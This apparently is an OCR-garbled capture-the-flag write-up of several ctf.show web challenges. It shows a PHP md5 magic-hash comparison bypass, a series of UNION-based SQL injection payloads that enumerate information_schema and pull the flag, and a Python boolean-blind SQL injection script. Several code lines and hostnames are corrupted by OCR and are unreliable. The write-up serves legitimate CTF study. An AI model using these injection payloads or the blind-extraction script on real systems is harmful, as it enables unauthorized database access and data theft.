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Instance Info

Remaining Time: 3598s

Lan Domain: 3330-a2a725b5-c7e6-4fd3-8d4f-
8f05525d4586

http://a2a725b5-c/e6-4fd3-8d4f-
8f05525d4586.chall.ctf.show:8080/

Destroy this instance Renew this instance
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ctf.show_web5
where is flag?
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$vi=$ GET['v1l'];
$v2=$ GET['v2'];
if(isset($vl) && isset($v2)){
if(!ctype_alpha($vl)){
die("v1l error");
}
if(lis_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;

}
}else{

echo "where is flag?";
?>

</body>
</html>
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ctype_alpha ( string $text ) : bool
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1 <?php

2 %a=QNKCDZO;

3 $b=240€10708;
echo md5(%a);
echo "\n";
echo mdS ($b);

4 echo "\n";

:  if(mdS(%$a)==md5(5b))
echo "FERRELEEErue";
2>

__________ php e e
0e830400451993494058024219903391

0e4€62097431906509019562922873¢6854
FHEBRIFEErue
BHER (5T 0B - EESEIE

payload:

?v1=QNKCDZ0&v2=240610708
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Instance Info

Remaining Time: 35%96s
Lan Domain: 3330-30fb2638-4502-427e-
89bb-8326feafdlee

http://30fb2638-4502-427e-
89bb-8326feafdlee.chall.ctf.show:8080/

Destroy this instance Renew this instance .
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sql inject error
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1 200 m| m| 519
2 and 200 || | 768
3 aandnd 200 m| | 768
4 or 200 || | 768
5 oorr 200 | = 768
6 %20 200 L] L] 19
7 show 200 m| m| 768
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username=admin'/**/or/**/1=1#&password=1
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username=admin'/**/union/**/select/**/1,2,3#&password=1
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username=admin'/**/union/**/select/**/1,database(), 3#&password=1
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username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/

IR, flag,user
BB

username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/*

XKifiR, flag

By BE

username=admin'/**/union/**/select/**/1,group_concat(@x7e,flag,0x7e),3/**/from/**/flag#&password=1

WOfR, ~ctfshow{c96d7a2a-albe-4e60-84bc-ed461aa87a32}~
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Instance Info

Remaining Time: 1506s
Lan Domain: 3330-572069c6-8e85-4aa3-aebd-
b37f559c9938

http://572069c6-8e85-4aa3-aebd-
b37f559c?938.chall.ctf.show:8080/

Destroy this instance Renew this instance
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Request ~ Payload Status Error | Timeout Length Comment

0 200 (] L] 529

1 200 ] O 529

2 and 200 | ] 587

3 aandnd 200 = = 587

4 or 200 = | 587

5 oorr 200 ] ] 587

6 %20 200 [l ]

7 show 200 ] ] 587
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?id=121"'/**/union/**/select/**/1,2,3#

METIZE

R DA BN 3, B 583
PR PE 4

?id=121"'/**/union/**/select/**/1,2,database()#

‘ web7
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?id=121"'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/*

‘ flag,page,user
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?id=121"'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where
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?id=121'/**/union/**/select/**/1,group_concat(0x7e,flag,0x7e),3/**/from/**/flagH

~ctfshow{0Obc5e3ce-558b-435e-b538-5c651392204d} ~
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Instance Info

Remaining Time: 941s

Lan Domain: 3330-afa20ae4-5e7d-4ace-81a5-
a/8dea7c2f3e

http://afa20ae4-5e7d-4ace-81a5-
a78dea7c2f3e.chall.ctf.show:8080/

Destroy this instance Renew this instance
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Request Payload Status Error | Timeout | Length - Comment

0 200 (| (| 529
1 200 M| M| 529
2 and 200 | | 529
3 aandnd 200 | | 529
6 %20 200 | | 529
9 And 200 (| (| 529
27 union 200 | | 529
28 ununionion 200 | | 529
38 ' 200 | | 529
41 , 200 | | 529
42 *1 200 (| (| 529
43 1aCCor 1=1# 200 ] L]

- or 200 | | 587
5 oorr 200 | | 587
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import requests

s=requests.session()
url="http://afa20aed4-5e7d-4ace-8la5-a78dea7c2f3e.chall.ctf.show:8080/index.php"’
table=""

for i in range(1,46):

print(i)

for j in range(31,128):
#BEEXL flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**
#HRTFEB 4 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns
#iZHflag

#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=ks#"%(str(i), str
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'There was one clear' in ra:

table += chr(j)

print(table)
break
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